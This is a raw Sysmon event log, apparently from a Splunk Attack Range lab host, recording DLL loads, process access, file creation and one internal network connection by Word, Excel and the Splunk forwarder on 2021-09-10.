Office\root\Office16\WINWORD.EXEC:\Windows\WinSxS\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.14393.4530_none_aec97a71ddd5fa56\GdiPlus.dll10.0.14393.4530 (rs1_release.210705-0736)Microsoft GDI+Microsoft® Windows® Operating SystemMicrosoft CorporationgdiplusMD5=D1F325FD8BA2F0AA9F853CB05DBDE6F6,SHA256=ED1FDCE716A2D5E0703DEBAE0E272BAA49C750B31773E9C0ADFCF5F9758F9350,IMPHASH=C221CE8D2F94949F49B7E7821DC2F0B6trueMicrosoft WindowsValid 734700x800000000000000049237Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000049236Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000049235Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000049234Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000049233Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000049232Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000049231Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000049230Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\Office16\OART.DLL16.0.13801.20688Microsoft OfficeArtMicrosoft OfficeMicrosoft CorporationOART.DLLMD5=A4816E74F5F4F3A1D9B6637EB47C8B23,SHA256=9447582F286D97A4707BB8A6847398637D742E5ED653804EE94E495E3E3BF339,IMPHASH=9D94A2F008ABDA952A69A119AB7A9826trueMicrosoft CorporationValid 10341000x800000000000000049229Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049228Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 10341000x800000000000000049227Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049226Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049225Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 10341000x800000000000000049224Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049223Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049222Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049221Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000049220Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000049219Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000049218Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.562{7BD73061-728B-613B-510B-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000049217Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=839AB5DFADEC467ECEA56D9DE19C1C3B,SHA256=B456C4728E34D02C352F9C072CF49FF04C23309236DC08E75D301DE722764029,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000049216Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:16.364{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59504-false10.0.1.12-8000- 23542300x800000000000000049215Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.341{7BD73061-727B-613B-4A0B-00000000F001}6276ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\J97BDE0XJEK68F9988IP.tempMD5=4FCB2A3EE025E4A10D21E1B154873FE2,SHA256=90BF6BAA6F968A285F88620FBF91E1F5AA3E66E2BAD50FD16F37913280AD8228,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000049214Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.325{7BD73061-727B-613B-4A0B-00000000F001}62766348C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+4cac5|C:\Windows\System32\windows.storage.dll+4ca0d|C:\Windows\System32\windows.storage.dll+d3b6|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c 10341000x800000000000000049213Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.325{7BD73061-727B-613B-4A0B-00000000F001}62766348C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+4cac5|C:\Windows\System32\windows.storage.dll+4ca0d|C:\Windows\System32\windows.storage.dll+d3b6|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c 10341000x800000000000000049212Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.325{7BD73061-727B-613B-4A0B-00000000F001}62766348C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+4cac5|C:\Windows\System32\windows.storage.dll+4ca0d|C:\Windows\System32\windows.storage.dll+d3b6|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f 10341000x800000000000000049211Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.325{7BD73061-727B-613B-4A0B-00000000F001}62766348C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+4cac5|C:\Windows\System32\windows.storage.dll+4ca0d|C:\Windows\System32\windows.storage.dll+d3b6|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466 23542300x800000000000000049210Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.325{7BD73061-727B-613B-4A0B-00000000F001}6276ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms~RF324497.TMPMD5=4FCB2A3EE025E4A10D21E1B154873FE2,SHA256=90BF6BAA6F968A285F88620FBF91E1F5AA3E66E2BAD50FD16F37913280AD8228,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000049209Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.294{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\actxprxy.dll10.0.14393.3808 (rs1_release.200707-2105)ActiveX Interface Marshaling LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationActXPrxy.dllMD5=087C47C19BBFCB9F4932C03C0189E86B,SHA256=9BEE35FBFA2E595372D82E8858BE46CE7717E0399996960398BC238F4D0E5207,IMPHASH=24160898971C9C6FED5AE429E3AAD3DAtrueMicrosoft WindowsValid 10341000x800000000000000049208Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.122{7BD73061-6E00-613B-E006-00000000F001}59925868C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+498a3|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+5206d|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+5132f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000049207Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.122{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FEDBED1EEB0B603C597D238694E7A342,SHA256=9B644FDF7671013EABBC4B4C661BFBA1E3F4C38F02FD297B006475422E488226,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000049206Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE16.0.13801.20864Microsoft WordMicrosoft OfficeMicrosoft CorporationWinWord.exeMD5=11F7D49A44E922C3BB0B426211F44E66,SHA256=025784F40F20654C264D060B1BA77066CF04BC56F6F2324E56372704FC4EC499,IMPHASH=7F3EEE6930E62160D8989EDC51550522trueMicrosoft CorporationValid 10341000x800000000000000049205Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.106{7BD73061-6E00-613B-E006-00000000F001}59925868C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1438C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+5eac4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+5fb06|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+178f5|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+1c0e4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+c696|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+b1eb|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+2d60e|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+2d2f1|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+95bf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+13394|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+1c734|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+8eda|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+892c|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+775b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c 